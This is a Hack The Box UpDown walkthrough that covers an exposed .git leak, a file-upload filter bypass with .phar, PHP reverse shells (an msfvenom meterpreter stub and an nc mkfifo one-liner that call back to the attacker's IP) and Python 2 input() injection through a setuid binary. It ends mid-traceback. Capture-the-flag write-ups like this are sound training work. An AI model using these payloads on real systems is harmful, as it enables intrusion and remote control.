HTB UpDown Walkthrough

Explore how Andy From Italy tackles the Hack The Box UpDown challenge, a Linux-based machine featuring exposed SSH and Apache servers.

HTB UpDown Walkthrough
The illustration above is the work of Andrew Archer, a talented illustrator based in Sydney, Australia.

In this article, I will provide a step-by-step instruction on how to complete the Hack The Box UpDown challenge, which was not too complex. Now let's get started and find out what vulnerabilities this machine hides. Let's go!

Let's start with the usual nmap scan:

Starting Nmap 7.93 ( https://nmap.org ) at 2022-12-14 05:42 EST
Nmap scan report for 10.10.11.177
Host is up (0.12s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 9e1f98d7c8ba61dbf149669d701702e7 (RSA)
|   256 c21cfe1152e3d7e5f759186b68453f62 (ECDSA)
|_  256 5f6e12670a66e8e2b761bec4143ad38e (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Is my Website up ?
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 33.87 seconds

Two simple ports; without even thinking about it, we aim directly at the web portal.

At the bottom of the main page we also find the indication of the domain used for the portal, which this time does not comply with the htb standard, never mind, let's insert it in our /etc/hosts file and go on.

The portal appears to check the reachability of third-party portals. Not having an internet connection (the BOX), I start a native web server on my machine (php) and check if I get a call.

It could be a simple curl performed from a shell, so I try some simple injections to understand what we are dealing with, and immediately something interesting is highlighted. My test has the objective of verifying whether, despite the first URL reporting the routing test.txt on my web server, I get a call on the /hack route; in this case, I could execute malicious commands on the BOX. So the payload should be something like this: http://10.10.14.106:5000/test.txt & curl http://10.10.14.106:5000/hack

The result highlights some application-side control that could still be defective in some parts! I walk around this solution for a while trying to understand the limitations of the code used, but without wasting too much time, there are still many other factors to analyze. I'm going on with a dirb session; sure, I'll have to come back to this aspect.

┌──(in7rud3r㉿kali-muletto)-[~/Dropbox/hackthebox]
└─$ dirb http://siteisup.htb/                                                  

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Wed Dec 14 15:54:00 2022
URL_BASE: http://siteisup.htb/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612                                                          

---- Scanning URL: http://siteisup.htb/ ----
==> DIRECTORY: http://siteisup.htb/dev/                                                                                                                                                                 
+ http://siteisup.htb/index.php (CODE:200|SIZE:1131)                                                                                                                                                    
+ http://siteisup.htb/server-status (CODE:403|SIZE:277)                                                                                                                                                 
                                                                                                                                                                                                        
---- Entering directory: http://siteisup.htb/dev/ ----
+ http://siteisup.htb/dev/.git/HEAD (CODE:200|SIZE:21)                                                                                                                                                  
+ http://siteisup.htb/dev/index.php (CODE:200|SIZE:0)                                                                                                                                                   
                                                                                                                                                                                                        
-----------------
END_TIME: Wed Dec 14 16:12:08 2022
DOWNLOADED: 9224 - FOUND: 4

Apparently there is a git repository; let's download it and take a closer look at it (I wouldn't be surprised if it was the portal code that checks addresses).

┌──(in7rud3r㉿kali-muletto)-[~/…/hackthebox/_10.10.11.177 - UpDown (lin)/attack/dwnl]
└─$ wget --recursive --no-parent http://siteisup.htb/dev/.git/   
--2022-12-14 16:21:29--  http://siteisup.htb/dev/.git/
Resolving siteisup.htb (siteisup.htb)... 10.10.11.177
Connecting to siteisup.htb (siteisup.htb)|10.10.11.177|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2884 (2.8K) [text/html]
Saving to: ‘siteisup.htb/dev/.git/index.html’

siteisup.htb/dev/.git/index.html                   100%[=============================================================================================================>]   2.82K  --.-KB/s    in 0.001s  

2022-12-14 16:21:30 (2.01 MB/s) - ‘siteisup.htb/dev/.git/index.html’ saved [2884/2884]

Loading robots.txt; please ignore errors.
--2022-12-14 16:21:30--  http://siteisup.htb/robots.txt
Reusing existing connection to siteisup.htb:80.
HTTP request sent, awaiting response... 404 Not Found
2022-12-14 16:21:30 ERROR 404: Not Found.

--2022-12-14 16:21:30--  http://siteisup.htb/dev/.git/?C=N;O=D
Reusing existing connection to siteisup.htb:80.
HTTP request sent, awaiting response... 200 OK
Length: 2884 (2.8K) [text/html]
Saving to: ‘siteisup.htb/dev/.git/index.html?C=N;O=D’

siteisup.htb/dev/.git/index.html?C=N;O=D           100%[=============================================================================================================>]   2.82K  --.-KB/s    in 0s      
[...]

A quick look at the status of the repository shows me that there are deleted files but no commits.

┌──(in7rud3r㉿kali-muletto)-[~/…/attack/dwnl/siteisup.htb/dev]
└─$ git status                                             
On branch main
Your branch is up to date with 'origin/main'.

Changes not staged for commit:
  (use "git add/rm <file>..." to update what will be committed)
  (use "git restore <file>..." to discard changes in working directory)
        deleted:    .htaccess
        deleted:    admin.php
        deleted:    changelog.txt
        deleted:    checker.php
        deleted:    index.php
        deleted:    stylesheet.css

no changes added to commit (use "git add" and/or "git commit -a")

I restore them.

┌──(in7rud3r㉿kali-muletto)-[~/…/attack/dwnl/siteisup.htb/dev]
└─$ git restore .
                                                                                                                                                                                                         
┌──(in7rud3r㉿kali-muletto)-[~/…/attack/dwnl/siteisup.htb/dev]
└─$ ls -la
total 40
drwxr-xr-x 3 in7rud3r in7rud3r 4096 Dec 14 16:46 .
drwxr-xr-x 3 in7rud3r in7rud3r 4096 Dec 14 16:21 ..
-rw-r--r-- 1 in7rud3r in7rud3r   59 Dec 14 16:46 admin.php
-rw-r--r-- 1 in7rud3r in7rud3r  147 Dec 14 16:46 changelog.txt
-rw-r--r-- 1 in7rud3r in7rud3r 3145 Dec 14 16:46 checker.php
drwxr-xr-x 8 in7rud3r in7rud3r 4096 Dec 14 16:46 .git
-rw-r--r-- 1 in7rud3r in7rud3r  117 Dec 14 16:46 .htaccess
-rw-r--r-- 1 in7rud3r in7rud3r  273 Dec 14 16:46 index.php
-rw-r--r-- 1 in7rud3r in7rud3r 5531 Dec 14 16:46 stylesheet.css

The admin.php file is to be implemented, while the checker.php file contains the code for verifying the passed URL, whether it responds or not. As I imagined, the verification is a simple curl, on which the HTTP 200 return code is checked. The code doesn't seem perfectly aligned with the production version, which allows the insertion of only one URL; the one from the git repository seems to allow the sending of a file containing a list of URLs for a sort of bulk check.

┌──(in7rud3r㉿kali-muletto)-[~/…/attack/dwnl/siteisup.htb/dev]
└─$ cat index.php  
<b>This is only for developers</b>
<br>
<a href="?page=admin">Admin Panel</a>
<?php
        define("DIRECTACCESS",false);
        $page=$_GET['page'];
        if($page && !preg_match("/bin|usr|home|var|etc/i",$page)){
                include($_GET['page'] . ".php");
        }else{
                include("checker.php");
        }
?>

The index.php page is used only to reach a specific file within the portal, but we could use it to retrieve interesting system files (basically a traversal path). The interesting thing is that both the index.php and checker.php files use the same method to check for any attack attempts (of the traversal path), the preg_match instruction, a check via regular expression on the string content, but with two different regular expressions, that of the index.php oriented to physical paths of the disk and that of the checker.php on the extensions of the accepted files.

Searching for an exploit about the preg_match check, I found an interesting article on the hacktricks portal.

PHP Tricks - HackTricks

Even in this case, however, despite attempts and some variations on the suggested solutions, I don't get satisfactory results. So I'm going back to the git repo in hopes that some old commits are more aligned with the production software.

┌──(in7rud3r㉿kali-muletto)-[~/…/attack/dwnl/siteisup.htb/dev]
└─$ git log --oneline
010dcc3 (HEAD -> main, origin/main, origin/HEAD) Delete index.php
c8fcc40 Update checker.php
f67efd0 Create checker.php
ab9bc16 Update changelog.txt
60d2b32 Create admin.php
c1998f8 Add admin panel.
35a3801 Update changelog.txt
57af03b Create index.php
354fe06 Delete .htpasswd
8812785 New technique in header to protect our dev vhost.
bc4ba79 Update .htaccess
61e5cc0 Update index.php
3d66cd4 Create changelog.txt
4fb1927 Create stylesheet.css
6f89af7 Create index.php
8d1beb1 Create .htpasswd
6ddcc7a Create .htaccess

So I start taking a look at the changes made over time, and one of them seems to be able to come in handy.

┌──(in7rud3r㉿kali-muletto)-[~/…/attack/dwnl/siteisup.htb/dev]
└─$ git show 8812785e31c879261050e72e20f298ae8c43b565
commit 8812785e31c879261050e72e20f298ae8c43b565
Author: Abdou.Y <[email protected]>
Date:   Wed Oct 20 16:38:54 2021 +0200

    New technique in header to protect our dev vhost.

diff --git a/.htaccess b/.htaccess
index 44ff240..b317ab5 100644
--- a/.htaccess
+++ b/.htaccess
@@ -2,3 +2,4 @@ SetEnvIfNoCase Special-Dev "only4dev" Required-Header
 Order Deny,Allow
 Deny from All
 Allow from env=Required-Header
+

It would seem that a special header has been set to be inserted to browse (perhaps) some of the portal pages. Even if in the code I don't find particular references that refer to the current portal, I try to add the header in my requests, but I don't see any important changes.

So I try to force the extraction of a specific commit, the last one before deleting the index, which I think should be the most up-to-date one.

┌──(in7rud3r㉿kali-muletto)-[/tmp/dev]
└─$ git checkout c8fcc40
fatal: bad object refs/heads/index.html
                                                                                                                                                                                                         
┌──(in7rud3r㉿kali-muletto)-[/tmp/dev]
└─$ ls -la
total 44
drwxr-xr-x  4 in7rud3r in7rud3r 4096 Dec 22 03:34 .
drwxrwxrwt 14 root     root     4096 Dec 22 03:26 ..
-rw-r--r--  1 in7rud3r in7rud3r   59 Dec 22 03:34 admin.php
-rw-r--r--  1 in7rud3r in7rud3r  147 Dec 22 03:34 changelog.txt
-rw-r--r--  1 in7rud3r in7rud3r 3145 Dec 22 03:34 checker.php
drwxr-xr-x  8 in7rud3r in7rud3r 4096 Dec 22 03:34 .git
-rw-r--r--  1 in7rud3r in7rud3r  117 Dec 22 03:34 .htaccess
-rw-r--r--  1 in7rud3r in7rud3r  273 Dec 22 03:34 index.php
-rw-r--r--  1 in7rud3r in7rud3r 5531 Dec 22 03:34 stylesheet.css
drwxr-xr-x  2 in7rud3r in7rud3r 4096 Dec 22 03:34 uploads
                                                                                                                                                                                                         
┌──(in7rud3r㉿kali-muletto)-[/tmp/dev]
└─$ cat checker.php 
<?php
if(DIRECTACCESS){
        die("Access Denied");
}
?>
<!DOCTYPE html>
<html>

  <head>
    <meta charset='utf-8' />
    <meta http-equiv="X-UA-Compatible" content="chrome=1" />
    <link rel="stylesheet" type="text/css" media="screen" href="stylesheet.css">
    <title>Is my Website up ? (beta version)</title>
  </head>

  <body>

    <div id="header_wrap" class="outer">
        <header class="inner">
          <h1 id="project_title">Welcome,<br> Is My Website UP ?</h1>
          <h2 id="project_tagline">In this version you are able to scan a list of websites !</h2>
        </header>
    </div>

    <div id="main_content_wrap" class="outer">
      <section id="main_content" class="inner">
        <form method="post" enctype="multipart/form-data">
                            <label>List of websites to check:</label><br><br>
                                <input type="file" name="file" size="50">
                                <input name="check" type="submit" value="Check">
                </form>

<?php

function isitup($url){
        $ch=curl_init();
        curl_setopt($ch, CURLOPT_URL, trim($url));
        curl_setopt($ch, CURLOPT_USERAGENT, "siteisup.htb beta");
        curl_setopt($ch, CURLOPT_HEADER, 1);
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
        curl_setopt($ch, CURLOPT_TIMEOUT, 30);
        $f = curl_exec($ch);
        $header = curl_getinfo($ch);
        if($f AND $header['http_code'] == 200){
                return array(true,$f);
        }else{
                return false;
        }
    curl_close($ch);
}

if($_POST['check']){
  
        # File size must be less than 10kb.
        if ($_FILES['file']['size'] > 10000) {
        die("File too large!");
    }
        $file = $_FILES['file']['name'];

        # Check if extension is allowed.
        $ext = getExtension($file);
        if(preg_match("/php|php[0-9]|html|py|pl|phtml|zip|rar|gz|gzip|tar/i",$ext)){
                die("Extension not allowed!");
        }
  
        # Create directory to upload our file.
        $dir = "uploads/".md5(time())."/";
        if(!is_dir($dir)){
        mkdir($dir, 0770, true);
    }
  
  # Upload the file.
        $final_path = $dir.$file;
        move_uploaded_file($_FILES['file']['tmp_name'], "{$final_path}");

  # Read the uploaded file.
        $websites = explode("\n",file_get_contents($final_path));

        foreach($websites as $site){
                $site=trim($site);
                if(!preg_match("#file://#i",$site) && !preg_match("#data://#i",$site) && !preg_match("#ftp://#i",$site)){
                        $check=isitup($site);
                        if($check){
                                echo "<center>{$site}<br><font color='green'>is up ^_^</font></center>";
                        }else{
                                echo "<center>{$site}<br><font color='red'>seems to be down :(</font></center>";
                        }
                }else{
                        echo "<center><font color='red'>Hacking attempt was detected !</font></center>";
                }
        }

  # Delete the uploaded file.
        @unlink($final_path);
}

function getExtension($file) {
        $extension = strrpos($file,".");
        return ($extension===false) ? "" : substr($file,$extension+1);
}
?>
      </section>
    </div>

    <div id="footer_wrap" class="outer">
      <footer class="inner">
        <p class="copyright">siteisup.htb (beta)</p><br>
        <a class="changelog" href="changelog.txt">changelog.txt</a><br>
      </footer>
    </div>

  </body>
</html>

I still can't find a match, but the code inside the file inevitably highlights the possibility of uploading a file containing a list of URLs to check. Assuming that it could be an evolution of the online one, which hides the specific functionality, I try to pass the form (forcibly) as a formatted file so that it can be processed.

Unfortunately, I fail inexorably.

Lost, by now, in the maze of my mind, looking for other ideas but without results, I retrace my steps, picking up the enumeration of the portal from where I left off, looking for a subdomain.

┌──(in7rud3r㉿kali-muletto)-[~/Dropbox/hackthebox/--==## DONE ##==--]
└─$ wfuzz -c -w /usr/share/dnsrecon/subdomains-top1mil-5000.txt -u http://siteisup.htb -H "Host:FUZZ.siteisup.htb" --hl 39
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://siteisup.htb/
Total requests: 5000

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                                                 
=====================================================================

000000019:   403        9 L      28 W       281 Ch      "dev"                                                                                                                                   
000002700:   400        10 L     35 W       301 Ch      "m."                                                                                                                                    
000002795:   400        10 L     35 W       301 Ch      "ns2.cl.bellsouth.net."                                                                                                                 
000002883:   400        10 L     35 W       301 Ch      "ns1.viviotech.net."                                                                                                                    
000002885:   400        10 L     35 W       301 Ch      "ns2.viviotech.net."                                                                                                                    
000003050:   400        10 L     35 W       301 Ch      "ns3.cl.bellsouth.net."                                                                                                                 
000004083:   400        10 L     35 W       301 Ch      "quatro.oweb.com."                                                                                                                      
000004082:   400        10 L     35 W       301 Ch      "jordan.fortwayne.com."                                                                                                                 
000004081:   400        10 L     35 W       301 Ch      "ferrari.fortwayne.com."                                                                                                                

Total time: 60.26867
Processed Requests: 5000
Filtered Requests: 4991
Requests/sec.: 82.96183

It is said that a good enumeration is the basis of good results.

I put the new portal in my /etc/hosts file and browsing the pages I find the header I was expecting.

And finally, we found where the repository code is posted.

I then retry the previously prepared payload and find that it works.

┌──(in7rud3r㉿kali-muletto)-[~/…/hackthebox/_10.10.11.177 - UpDown (lin)/attack/payload]
└─$ php -S 10.10.14.16:5000
[Mon Dec 26 08:26:34 2022] PHP 8.1.12 Development Server (http://10.10.14.16:5000) started
[Mon Dec 26 08:28:05 2022] 10.10.11.177:50608 Accepted
[Mon Dec 26 08:28:05 2022] 10.10.11.177:50608 [404]: GET /test1 - No such file or directory
[Mon Dec 26 08:28:05 2022] 10.10.11.177:50608 Closing
[Mon Dec 26 08:28:05 2022] 10.10.11.177:50610 Accepted
[Mon Dec 26 08:28:05 2022] 10.10.11.177:50610 [404]: GET /test2 - No such file or directory
[Mon Dec 26 08:28:05 2022] 10.10.11.177:50610 Closing

I verify that the folder that I saw was generated during the upload, and although the file has been deleted, the folder persists for a few more seconds.

Ok, the idea is to send an ad hoc payload, but I need to be able to submit whenever I want without having to resort to the interface. Once again, the BurpSuite comes to my aid, where, however, I have to set the proxy to add a custom header to each of my requests (I don't have the page that sets the header while browsing).

The only way to activate server-side code is to upload files that the portal can execute, but apparently, all the extensions have been checked in the regular expression. I need to figure out if I can make another extension.

[...]
	# Check if extension is allowed.
	$ext = getExtension($file);
	if(preg_match("/php|php[0-9]|html|py|pl|phtml|zip|rar|gz|gzip|tar/i",$ext)){
		die("Extension not allowed!");
	}
[...]

Perhaps, though, we'll get lucky and the developer who wrote the code might have forgotten some extensions (the .inc doesn't appear to be listed).

File upload bypass - Hacker’s Grimoire

I create my new payload.

┌──(in7rud3r㉿kali-muletto)-[~/…/hackthebox/_10.10.11.177 - UpDown (lin)/attack/payload]
└─$ cat payload.txt 
http://10.10.14.16:5000/test1
<?php phpinfo(); ?>
http://10.10.14.16:5000/test2

It seems that I can upload the file, but when I browse the folder, the file is not present. Probably the process is too fast; I have to slow it down somehow. Let's try to increase the number of sites to check. The file persists longer, and so I have time to browse the URL http://dev.siteisup.htb/uploads/c188b701bc7237723b1a7381ea47ab10/payload.inc and try to execute it, but apparently, the .inc files are not executable by PHP. I still search for different file extensions.

File Upload - HackTricks

It seems I still have one more option: the .phar file, which finally seems to be working. I start playing with the payload, looking for more information, before attempting a reverse shell.

┌──(in7rud3r㉿kali-muletto)-[~/…/hackthebox/_10.10.11.177 - UpDown (lin)/attack/payload]
└─$ cat payload2.phar 
http://10.10.14.16:5000/test1
<?php
$dir    = '/home';
$files1 = scandir($dir);
print_r($files1);
?>
http://10.10.14.16:5000/test2
http://10.10.14.16:5000/test2
http://10.10.14.16:5000/test2
[...]

And browsing the file while the process still checks the list of URLs provided...

http://10.10.14.16:5000/test1
Array
(
    [0] => .
    [1] => ..
    [2] => developer
)
http://10.10.14.16:5000/test2
[...]

So, change the folder into the script with "/home/developer"...

http://10.10.14.16:5000/test1
Array
(
    [0] => .
    [1] => ..
    [2] => .bash_history
    [3] => .bash_logout
    [4] => .bashrc
    [5] => .cache
    [6] => .local
    [7] => .profile
    [8] => .ssh
    [9] => dev
    [10] => setup.cfg
    [11] => setup.py
    [12] => temp
    [13] => user.txt
)
http://10.10.14.16:5000/test2
http://10.10.14.16:5000/test2
[...]

I try to list the contents of the .ssh folder, but I fail; the same goes if I try to view the contents of the user.txt file. At this point, I tried with simple reverse shells in PHP, but they didn't seem to work.

┌──(in7rud3r㉿kali-muletto)-[~/…/hackthebox/_10.10.11.177 - UpDown (lin)/attack/payload]
└─$ head payload2.phar   
http://10.10.14.16:5000/test1
<?php
$sock=fsockopen("10.10.14.16",4444);exec("/bin/sh -i <&3 >&3 2>&3");
?>
http://10.10.14.16:5000/test2
http://10.10.14.16:5000/test2
http://10.10.14.16:5000/test2
http://10.10.14.16:5000/test2
http://10.10.14.16:5000/test2
http://10.10.14.16:5000/test2

Convinced that some slightly fancier payload is needed, I leave it to msfvenom to generate.

┌──(in7rud3r㉿kali-muletto)-[~/…/hackthebox/_10.10.11.177 - UpDown (lin)/attack/payload]
└─$ msfvenom -p php/meterpreter/reverse_tcp LHOST=10.10.14.16 LPORT=4444 -f raw -o shell.php
[-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload
[-] No arch selected, selecting arch: php from the payload
No encoder specified, outputting raw payload
Payload size: 1112 bytes
Saved as: shell.php
                                                                                                                                                                                                         
┌──(in7rud3r㉿kali-muletto)-[~/…/hackthebox/_10.10.11.177 - UpDown (lin)/attack/payload]
└─$ cat shell.php    
/*<?php /**/ error_reporting(0); $ip = '10.10.14.16'; $port = 4444; if (($f = 'stream_socket_client') && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}"); $s_type = 'stream'; } if (!$s && ($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port); $s_type = 'stream'; } if (!$s && ($f = 'socket_create') && is_callable($f)) { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = 'socket'; } if (!$s_type) { die('no socket funcs'); } if (!$s) { die('no socket'); } switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack("Nlen", $len); $len = $a['len']; $b = ''; while (strlen($b) < $len) { switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS['msgsock'] = $s; $GLOBALS['msgsock_type'] = $s_type; if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) { $suhosin_bypass=create_function('', $b); $suhosin_bypass(); } else { eval($b); } die();                                                                                              

We add the list of URLs to check at the top of the file and start the metasploit framework and the meterpreter listener, upload the payload and browse it.

┌──(in7rud3r㉿kali-muletto)-[~/Dropbox/hackthebox]
└─$ msfconsole   

[...]
       =[ metasploit v6.2.30-dev                          ]
+ -- --=[ 2272 exploits - 1191 auxiliary - 404 post       ]
+ -- --=[ 951 payloads - 45 encoders - 11 nops            ]
+ -- --=[ 9 evasion                                       ]

Metasploit tip: You can use help to view all 
available commands
Metasploit Documentation: https://docs.metasploit.com/

msf6 > use multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set PAYLOAD php/meterpreter/reverse_tcp
PAYLOAD => php/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 10.10.14.16
LHOST => 10.10.14.16
msf6 exploit(multi/handler) > set LPORT 4444
LPORT => 4444
msf6 exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 10.10.14.16:4444 
[*] Sending stage (39927 bytes) to 10.10.11.177
[*] 10.10.11.177 - Meterpreter session 1 closed.  Reason: Died
[-] Meterpreter session 1 is not valid and will be closed

Damn, the session did not activate. I keep trying innumerable types of reverse shells, including small scripts that I improvised on the spot, but nothing works. So I go back to take a look at the PHP info that I had previously downloaded, and I discover an interesting thing.

Many of the functions used for creating reverse shells are disabled, in particular the functions reserved for opening connections via sockets. All I have to do is try to find reverse shells in PHP that don't use the socket features.

Speaking of which, an article should come out in the future where the premise will describe how I got the script in question, which inspired the article in question.
┌──(in7rud3r㉿kali-muletto)-[~/…/hackthebox/_10.10.11.177 - UpDown (lin)/attack/payload]
└─$ cat payload6.phar 
[...]
http://10.10.14.16:5000/test2
http://10.10.14.16:5000/test2
http://10.10.14.16:5000/test2
<?php
$process = proc_open(
    "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.14.80 4444 >/tmp/f",
    array(
        0 => array('pipe', 'r'),
        1 => array('pipe', 'w'),
        2 => array('pipe', 'w')
    ),
    $pipes
);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
?>

And finally, starting the listener and browsing the payload get the desired reverse shell, anyway, I'm the user of the web server.

┌──(in7rud3r㉿kali-muletto)-[~/Dropbox/hackthebox]
└─$ nc -lvp 4444
listening on [any] 4444 ...
connect to [10.10.14.80] from siteisup.htb [10.10.11.177] 60930
sh: 0: can't access tty; job control turned off
$ whoami
www-data

Let's take a quick look, hoping to quickly find something that can help us to escalate privileges!

$ cd home/developer
$ ls -la
total 40
drwxr-xr-x 6 developer developer 4096 Aug 30 11:24 .
drwxr-xr-x 3 root      root      4096 Jun 22  2022 ..
lrwxrwxrwx 1 root      root         9 Jul 27 14:21 .bash_history -> /dev/null
-rw-r--r-- 1 developer developer  231 Jun 22  2022 .bash_logout
-rw-r--r-- 1 developer developer 3771 Feb 25  2020 .bashrc
drwx------ 2 developer developer 4096 Aug 30 11:24 .cache
drwxrwxr-x 3 developer developer 4096 Aug  1 18:19 .local
-rw-r--r-- 1 developer developer  807 Feb 25  2020 .profile
drwx------ 2 developer developer 4096 Aug  2 09:15 .ssh
drwxr-x--- 2 developer www-data  4096 Jun 22  2022 dev
-rw-r----- 1 root      developer   33 Dec 29 05:13 user.txt
$ cd dev
$ ls -la
total 32
drwxr-x--- 2 developer www-data   4096 Jun 22  2022 .
drwxr-xr-x 6 developer developer  4096 Aug 30 11:24 ..
-rwsr-x--- 1 developer www-data  16928 Jun 22  2022 siteisup
-rwxr-x--- 1 developer www-data    154 Jun 22  2022 siteisup_test.py
$ cat siteisup_test.py
import requests

url = input("Enter URL here:")
page = requests.get(url)
if page.status_code == 200:
        print "Website is up"
else:
        print "Website is down"$ 
$ file siteisup
siteisup: setuid ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=b5bbc1de286529f5291b48db8202eefbafc92c1f, for GNU/Linux 3.2.0, not stripped

The readily available Python script appears to be an early version of the portal. while the siteisup file is an executable binary (which, if you notice, runs as the developer user). Let's try to understand how it works and what it does.

$ ./siteisup
ddd
Enter URL here:Traceback (most recent call last):
  File "/home/developer/dev/siteisup_test.py", line 3, in <module>
    url = input("Enter URL here:")
  File "<string>", line 1, in <module>
NameError: name 'ddd' is not defined
Welcome to 'siteisup.htb' application

At first glance, it still looks like the same app, but with a different implementation. I need to take a closer look at the track. I downloaded it to my machine and disassembled it. I discovered that it does nothing but call the newly discovered Python script.

The execution of the script, however, doesn't convince me; it seems to detach itself from the written code, which should first display and then retrieve the information entered by the operator. I'm wondering if there might be something wrong with the installed Python version.

$ python --version
Python 2.7.18

And going to look...

Vulnerability in input() function – Python 2.x - GeeksforGeeks
A Computer Science portal for geeks. It contains well written, well thought and well explained computer science and programming articles, quizzes and practice/competitive programming/company interview Questions.

Ok, let's study the vulnerability and try to do some tests to understand how to exploit it.

$ ./siteisup
"http://10.10.14.80:5000"
Enter URL here:Website is down
Welcome to 'siteisup.htb' application
$ ./siteisup
"http://10.10.14.80:5000" + "/hacktest"
Enter URL here:Website is down
Welcome to 'siteisup.htb' application

It seems to be possible to execute Python statements, such as string concatenation (in the example). Of course, I get the responses on my native web server.

┌──(in7rud3r㉿kali-muletto)-[~/…/hackthebox/_10.10.11.177 - UpDown (lin)/attack/payload]
└─$ php -S 10.10.14.80:5000
[Thu Dec 29 06:46:50 2022] PHP 8.1.12 Development Server (http://10.10.14.80:5000) started
[Thu Dec 29 06:47:14 2022] 10.10.11.177:45486 Accepted
[Thu Dec 29 06:47:14 2022] 10.10.11.177:45486 [404]: GET / - No such file or directory
[Thu Dec 29 06:47:14 2022] 10.10.11.177:45486 Closing
[Thu Dec 29 06:50:57 2022] 10.10.11.177:45496 Accepted
[Thu Dec 29 06:50:57 2022] 10.10.11.177:45496 [404]: GET /hacktest - No such file or directory
[Thu Dec 29 06:50:57 2022] 10.10.11.177:45496 Closing

Let's try something more complex, like importing libraries.

$ ./siteisup
__import__("random").random()
Enter URL here:Traceback (most recent call last):
  File "/home/developer/dev/siteisup_test.py", line 4, in <module>
    page = requests.get(url)
  File "/usr/local/lib/python2.7/dist-packages/requests/api.py", line 75, in get
    return request('get', url, params=params, **kwargs)
  File "/usr/local/lib/python2.7/dist-packages/requests/api.py", line 61, in request
    return session.request(method=method, url=url, **kwargs)
  File "/usr/local/lib/python2.7/dist-packages/requests/sessions.py", line 515, in request
    prep = self.prepare_request(req)
  File "/usr/local/lib/python2.7/dist-packages/requests/sessions.py", line 453, in prepare_request
    hooks=merge_hooks(request.hooks, self.hooks),
  File "/usr/local/lib/python2.7/dist-packages/requests/models.py", line 318, in prepare
    self.prepare_url(url, params)
  File "/usr/local/lib/python2.7/dist-packages/requests/models.py", line 392, in prepare_url
    raise MissingSchema(error)
requests.exceptions.MissingSchema: Invalid URL '0.253903466901': No scheme supplied. Perhaps you meant http://0.253903466901?
Welcome to 'siteisup.htb' application

Great, let's try to capture this user flag.

$ ./siteisup
open("/home/developer/user.txt").read()
Enter URL here:Traceback (most recent call last):
  File "/home/developer/dev/siteisup_test.py", line 3, in <module>
    url = input("Enter URL here:")
  File "<string>", line 1, in <module>
IOError: [Errno 13] Permission denied: '/home/developer/user.txt'
Welcome to 'siteisup.htb' application

Perhaps we'll have better luck running commands in the shell.

$ ./siteisup
__import__("subprocess").call(["cat","/home/developer/user.txt"])
cat: /home/developer/user.txt: Permission denied
Enter URL here:Traceback (most recent call last):
  File "/home/developer/dev/siteisup_test.py", line 4, in <module>
    page = requests.get(url)
  File "/usr/local/lib/python2.7/dist-packages/requests/api.py", line 75, in get
    return request('get', url, params=params, **kwargs)
  File "/usr/local/lib/python2.7/dist-packages/requests/api.py", line 61, in request
    return session.request(method=method, url=url, **kwargs)
  File "/usr/local/lib/python2.7/dist-packages/requests/sessions.py", line 515, in request
    prep = self.prepare_request(req)
  File "/usr/local/lib/python2.7/dist-packages/requests/sessions.py", line 453, in prepare_request
    hooks=merge_hooks(request.hooks, self.hooks),
  File "/usr/local/lib/python2.7/dist-packages/requests/models.py", line 318, in prepare
    self.prepare_url(url, params)
  File "/usr/local/lib/python2.7/dist-packages/requests/models.py", line 392, in prepare_url
    raise MissingSchema(error)
requests.exceptions.MissingSchema: Invalid URL '1': No scheme supplied. Perhaps you meant http://1?
Welcome to 'siteisup.htb' application

Mmmmm, that's weird; let's see if I'm really the developer user.

$ ./siteisup
__import__("subprocess").call(["whoami"])
developer
Enter URL here:Traceback (most recent call last):
  File "/home/developer/dev/siteisup_test.py", line 4, in <module>
    page = requests.get(url)
  File "/usr/local/lib/python2.7/dist-packages/requests/api.py", line 75, in get
    return request('get', url, params=params, **kwargs)
  File "/usr/local/lib/python2.7/dist-packages/requests/api.py", line 61, in request
    return session.request(method=method, url=url, **kwargs)
  File "/usr/local/lib/python2.7/dist-packages/requests/sessions.py", line 515, in request
    prep = self.prepare_request(req)
  File "/usr/local/lib/python2.7/dist-packages/requests/sessions.py", line 453, in prepare_request
    hooks=merge_hooks(request.hooks, self.hooks),
  File "/usr/local/lib/python2.7/dist-packages/requests/models.py", line 318, in prepare
    self.prepare_url(url, params)
  File "/usr/local/lib/python2.7/dist-packages/requests/models.py", line 392, in prepare_url
    raise MissingSchema(error)
